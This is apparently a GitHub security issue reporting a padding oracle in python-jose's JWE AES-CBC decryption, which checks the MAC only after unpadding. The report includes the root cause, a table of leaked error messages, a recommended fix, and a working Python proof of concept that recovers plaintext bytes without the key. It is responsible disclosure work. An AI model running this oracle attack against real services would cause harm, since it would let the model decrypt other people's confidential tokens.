-
Notifications
You must be signed in to change notification settings - Fork 260
Security vulnerability: JWE AES-CBC Padding Oracle (Full Plaintext Recovery) #402
Description
Summary
python-jose decrypts and unpads JWE ciphertext before verifying the MAC tag, creating a classic padding oracle. Three distinct error messages leak whether PKCS7 padding is valid, enabling full plaintext recovery from any AES-CBC JWE token (~128 queries per byte).
Root Cause
jose/jwe.py, _decrypt_and_auth() lines 237-250:
auth_tag_check = _auth_tag(...) # line 239: compute expected MAC
plaintext = encryption_key.decrypt(...) # line 246: DECRYPT + UNPAD (raises on bad padding!)
if auth_tag != auth_tag_check: # line 247: MAC check AFTER — too late
raise JWEError("Invalid JWE Auth Tag")
CryptographyAESKey.decrypt() (cryptography_backend.py:492-499) runs PKCS7 unpadding which raises ValueError("Invalid padding bytes.") before the MAC comparison is reached. This violates RFC 7516 Section 5.2 Step 14: MAC must be verified first.
Additionally, the MAC comparison at line 247 uses Python != (non-constant-time) instead of hmac.compare_digest().
Oracle Signals
| Corruption | Error Message | Meaning |
|---|---|---|
| Valid ciphertext, wrong tag | "Invalid JWE Auth Tag" |
Padding valid, MAC mismatch |
| Corrupt ciphertext (bad padding) | "Invalid padding bytes." |
Padding invalid (leaked before MAC check) |
| Wrong-length ciphertext | "...not a multiple of the block length." |
Length error |
Affected
- Algorithms: A128CBC-HS256, A192CBC-HS384, A256CBC-HS512
- NOT affected: A128GCM, A256GCM (authenticated decryption, single-step)
- Comparison: authlib is NOT vulnerable (verifies MAC first with
hmac.compare_digest())
Proof of Concept
pip install python-jose[cryptography]
1. Oracle Exists (different errors leak padding validity)
from jose import jwe
from jose.utils import base64url_decode, base64url_encode
key = b"0123456789abcdef" * 2
token = jwe.encrypt(b"secret", key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = token.split(b".")
ct_raw, tag_raw = base64url_decode(ct), base64url_decode(tag)
def try_decrypt(ct_mod=ct, tag_mod=tag):
try:
jwe.decrypt(b".".join([h, ek, iv, ct_mod, tag_mod]), key)
except Exception as e:
return str(e)
print(try_decrypt(tag_mod=base64url_encode(tag_raw[:-1] + bytes([tag_raw[-1]^0xFF]))))
# -> "Invalid JWE Auth Tag" (padding was valid, MAC wrong)
print(try_decrypt(ct_mod=base64url_encode(ct_raw[:-1] + bytes([ct_raw[-1]^0x01]))))
# -> "Invalid padding bytes." (padding error LEAKED before MAC check)Two different errors = attacker can distinguish valid vs invalid padding without knowing the key.
2. Plaintext Recovery via Oracle
Classic CBC padding oracle: flip bytes in the previous ciphertext block, observe which values produce valid padding, recover the intermediate state, XOR with original to get plaintext.
from jose import jwe
from jose.utils import base64url_decode, base64url_encode
key = b"0123456789abcdef" * 2
SECRET = b"RECOVER-SECRET-PLAINTEXT-BYTES!" # 31 bytes -> 1 byte pad -> 2 blocks
token = jwe.encrypt(SECRET, key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = token.split(b".")
ct_raw = base64url_decode(ct)
B = 16
def padding_ok(ct_mod):
try:
jwe.decrypt(b".".join([h, ek, iv, base64url_encode(ct_mod), tag]), key)
return True
except Exception as e:
return "padding" not in str(e).lower()
prev = bytearray(ct_raw[-2*B:-B])
last = ct_raw[-B:]
I = bytearray(B) # intermediate = AES_decrypt(last_block)
for pos in range(B-1, -1, -1):
pad = B - pos
atk = bytearray(prev)
for j in range(pos+1, B): atk[j] = I[j] ^ pad
for g in range(256):
atk[pos] = g
if padding_ok(ct_raw[:-(2*B)] + bytes(atk) + last):
I[pos] = g ^ pad; break
recovered = bytes(I[i] ^ prev[i] for i in range(B))
print(f"Recovered: {recovered[:-recovered[-1]]}")Output:
Recovered: b'LAINTEXT-BYTES!'
LAINTEXT-BYTES! = last 15 bytes of RECOVER-SECRET-PLAINTEXT-BYTES!, recovered without the key. Repeat for all blocks for full plaintext (~128 queries/byte).
Fix
-
Verify MAC before decrypting (mandatory):
auth_tag_check = _auth_tag(...) if not hmac.compare_digest(auth_tag, auth_tag_check): raise JWEError("Invalid JWE Auth Tag") plaintext = encryption_key.decrypt(...) # only after MAC passes
-
Use constant-time comparison for MAC tag (replace
!=withhmac.compare_digest()).